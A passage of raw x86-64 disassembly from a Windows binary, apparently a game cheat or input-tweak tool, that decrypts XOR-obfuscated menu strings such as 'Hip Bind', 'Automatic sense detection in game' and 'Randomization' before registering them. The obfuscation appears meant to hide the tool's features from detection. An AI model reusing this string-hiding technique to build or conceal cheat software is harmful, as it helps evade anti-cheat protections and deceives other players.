mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140063a20
lea rdx, [0x1400b398b]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x140063a7d
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x140063a9d
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140063a9d
lea rcx, str.Sound_alerts
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140063c90
lea rdx, [rbp + 0x26e8]
mov byte [rsp + 0x73], 0
lea rcx, [rsp + 0x73]
call fcn.140087340
mov r10, rax
cmp byte [rax + 0x25], 0
je 0x140063c61
mov r8d, edi
cmp esi, 2
jl 0x140063c29
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140063b20
cmp r8d, 0x26
jge 0x140063c61
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x26
jl 0x140063c30
lea rdx, [0x1400b398b]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aeff4], 1
jne 0x140063c90
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140063c90
lea rcx, [0x14009f730]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140063e9a
lea rdx, [rbp + 0x3b8]
mov byte [rsp + 0x74], 0
lea rcx, [rsp + 0x74]
call fcn.140087370
mov r10, rax
cmp byte [rax + 7], 0
je 0x140063e13
mov r8d, edi
cmp esi, 2
jl 0x140063dd8
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x140063e13
mov r9, r10
nop dword [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140063de0
lea rdx, [0x1400b4a8d]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x140063e3f
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b4a8d], 0
je 0x140063e7a
movss xmm2, dword [0x1400a2000]
lea rcx, [rbp + 0x3c0]
movss xmm1, dword [0x1400a2024]
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400af008]
lea rcx, str.Hip_Bind
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140063e9a
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140063e9a
lea rcx, str.Shooting_from_the_hip
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140064099
lea rdx, [rbp + 0x2080]
mov byte [rsp + 0x75], 0
lea rcx, [rsp + 0x75]
call fcn.140087380
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140064061
mov r8d, edi
cmp esi, 2
jl 0x140064029
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140063f20
cmp r8d, 0x21
jge 0x140064061
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x140064030
lea rdx, [0x1400b4a8d]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aeff4], 1
jne 0x140064099
cmp byte [0x1400aef77], 1
jne 0x140064099
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140064099
lea rcx, str._____
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x1400642bb
lea rdx, [rbp + 0x17e8]
mov byte [rsp + 0x76], 0
lea rcx, [rsp + 0x76]
call fcn.1400873b0
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140064261
mov r8d, edi
cmp esi, 2
jl 0x140064229
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140064120
cmp r8d, 0x13
jge 0x140064261
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140064230
lea rdx, [0x1400b453e]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x14006428d
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b453e], 1
jne 0x14006429b
call fcn.14005e970
cmp byte [0x1400aeff4], 1
jne 0x1400642bb
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400642bb
lea rcx, str.Automatic_sense_detection_in_game
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x1400644c7
lea rdx, [rbp + 0x2830]
mov byte [rsp + 0x77], 0
lea rcx, [rsp + 0x77]
call fcn.1400873e0
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x140064481
mov r8d, edi
cmp esi, 2
jl 0x140064449
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140064340
cmp r8d, 0x2b
jge 0x140064481
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x140064450
lea rdx, [0x1400b453e]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b453e], 1
jne 0x14006449e
call fcn.14005e970
cmp byte [0x1400aeff4], 1
jne 0x1400644c7
cmp byte [0x1400aef77], 1
jne 0x1400644c7
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400644c7
lea rcx, [0x14009f898]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x1400645e3
lea rdx, [rbp + 0x6b0]
mov byte [rsp + 0x78], 0
lea rcx, [rsp + 0x78]
call fcn.140087420
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14006451b
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor cl, 0x3a
mov byte [rax + 9], cl
lea rdx, [0x1400b3a9d]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x140064547
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b3a9d], 1
jne 0x1400645c3
lea rdx, [rbp + 0x740]
mov byte [rsp + 0x79], 0
lea rcx, [rsp + 0x79]
call fcn.140087440
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x14006459d
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor byte [rbx + 9], 0x3a
xor al, 0x3b
mov byte [rbx + 0xa], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x3c8]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4428]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x1400645e3
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400645e3
lea rcx, str.Reset_all_binds
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x1400649e2
lea rdx, [rbp + 0x20a8]
mov byte [rsp + 0x7a], 0
lea rcx, [rsp + 0x7a]
call fcn.140087470
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x1400647b1
mov r8d, edi
cmp esi, 2
jl 0x140064779
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140064670
cmp r8d, 0x21
jge 0x1400647b1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x140064780
lea rdx, [0x1400b3a9d]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b3a9d], 1
jne 0x1400649b9
lea rdx, [rbp + 0x18d8]
mov byte [rsp + 0x7b], 0
lea rcx, [rsp + 0x7b]
call fcn.1400874a0
mov rbx, rax
cmp byte [rax + 0x17], 0
je 0x140064993
mov r8d, edi
cmp esi, 2
jl 0x140064953
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, edi
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, rbx
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x140064850
jmp 0x140064993
mov r9, rbx
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140064960
movaps xmm2, xmm11
lea rcx, [rbp + 0x3d0]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4428]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x1400649e2
cmp byte [0x1400aef77], 1
jne 0x1400649e2
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400649e2
lea rcx, [0x14009f8e8]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140064bbd
lea rdx, [rbp + 0x940]
mov byte [rsp + 0x7c], 0
lea rcx, [rsp + 0x7c]
call fcn.1400874c0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140064b71
mov r8d, edi
cmp esi, 2
jl 0x140064b2e
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140064b40
lea rdx, [0x1400b3edb]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x140064b9d
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x140064bbd
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140064bbd
lea rcx, str.Randomization
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140064db9
lea rdx, [rbp + 0x1920]
mov byte [rsp + 0x7d], 0
lea rcx, [rsp + 0x7d]
call fcn.1400874f0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140064d81
mov r8d, edi
cmp esi, 2
jl 0x140064d49
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
